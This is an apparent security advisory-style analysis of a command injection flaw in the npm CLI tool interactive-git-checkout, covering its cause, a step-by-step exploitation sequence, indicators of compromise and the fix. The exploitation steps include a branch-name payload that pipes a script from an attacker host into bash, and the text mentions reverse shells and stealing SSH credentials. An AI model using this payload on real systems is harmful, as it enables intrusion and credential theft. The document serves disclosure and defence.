CVE-2025-59046: 
JavaScript vulnerability analysis and mitigation

CVE-2025-59046 is a critical command injection vulnerability in the npm package interactive-git-checkout, an interactive CLI tool for checking out Git branches. All versions up to and including 1.1.4 are affected. The vulnerability was discovered by security researcher Liran Tal and disclosed on September 9, 2025, with the GitHub Security Advisory (GHSA-4wcm-7hjf-6xw5) published the same day. It carries a CVSS v3.1 base score of 9.8 (Critical) (GitHub Advisory, GHSA).

The root cause is classified as CWE-77 (Improper Neutralization of Special Elements used in a Command). The vulnerable code in src/checkout.js, src/checkoutToNew.js, and src/getBranches.js passes user-supplied branch names directly into Node.js's child_process.exec() function via template literals (e.g., exec(`git checkout ${targetBranch}`)), which invokes a shell and allows shell metacharacters to be interpreted. An attacker who can control the branch name input — for example, by entering hello ; malicious-command at the interactive prompt — can inject arbitrary shell commands that execute with the privileges of the running user. No authentication or special privileges are required beyond the ability to interact with the CLI prompt (GHSA, Patch Commit).

Successful exploitation allows an attacker to execute arbitrary operating system commands with the privileges of the user running the interactive-git-checkout tool (igc). This can result in full confidentiality, integrity, and availability compromise of the affected system — including unauthorized data access, file system modification, installation of malware or backdoors, and potential lateral movement within the environment. Because the tool is typically installed globally via npm and used by developers, exploitation could target developer workstations or CI/CD pipeline environments where sensitive credentials and source code are accessible (GitHub Advisory).

A proof-of-concept exploit is publicly documented in the official security advisory: running igc and entering a crafted branch name such as hello ; echo 'Command Injection Vulnerability Exploited!' > /tmp/command-injection.txt; triggers arbitrary command execution. The EPSS score is approximately 0.528% (68th percentile), indicating a moderate probability of exploitation in the wild within 30 days. There is no current evidence of active in-the-wild exploitation or threat actor attribution, and the vulnerability is not listed in the CISA KEV catalog (GitHub Advisory, Feedly).

1. Install the vulnerable package: Ensure the target system has interactive-git-checkout version ≤ 1.1.4 installed globally via npm install -g interactive-git-checkout.
2. Launch the tool: Run the igc command in a terminal within any Git repository directory.
3. Inject malicious branch name: When prompted to enter a branch name, supply a payload containing shell metacharacters, such as: hello ; curl http://attacker.com/shell.sh | bash; #
4. Command execution: The tool passes the unsanitized input to exec(), which invokes a shell that interprets the semicolon as a command separator, executing the injected command with the privileges of the current user.
5. Achieve objective: The injected command runs arbitrary code — e.g., establishing a reverse shell, exfiltrating credentials from ~/.ssh/ or environment variables, or dropping a persistent backdoor (GHSA).

• Process: Unexpected child processes spawned from the igc or Node.js process, such as bash, sh, curl, wget, or python, particularly with unusual arguments.
• File System: Unexpected files created in /tmp/ or other writable directories (e.g., /tmp/command-injection.txt as demonstrated in the PoC); new cron jobs, SSH authorized keys, or scripts added by the user running igc.
• Network: Outbound connections from developer workstations or CI/CD runners to unknown external IPs or domains shortly after igc execution; DNS lookups for attacker-controlled domains.
• Logs: Shell history entries (e.g., .bash_history, .zsh_history) showing igc invocations followed by anomalous system activity; Node.js process logs showing unexpected command strings passed to exec() (GHSA).

The fix is implemented in commit 8dd832dd302af287a61611f4f85e157cd1c6bb41, which replaces all uses of child_process.exec() with child_process.execFile(), passing arguments as an array rather than a shell-interpolated string (e.g., execFile('git', ['checkout', targetBranch])), which prevents shell metacharacter interpretation. Users should update to a version of interactive-git-checkout that includes this commit. As an interim workaround, avoid using the tool with untrusted or externally supplied branch names, and apply the principle of least privilege when running developer CLI tools (Patch Commit, GitHub Advisory).

The vulnerability was reported by Liran Tal, a well-known Node.js/npm security researcher. A Medium article on JavaScript Plain English covered the vulnerability, describing it as a critical command injection flaw in a popular Git CLI tool. The advisory was reviewed and published in the GitHub Advisory Database on September 10, 2025, and was picked up by vulnerability digest aggregators including tonyharris.io's PoC Week roundups for September 15 and 22, 2025 (Plain English Article, GitHub Advisory).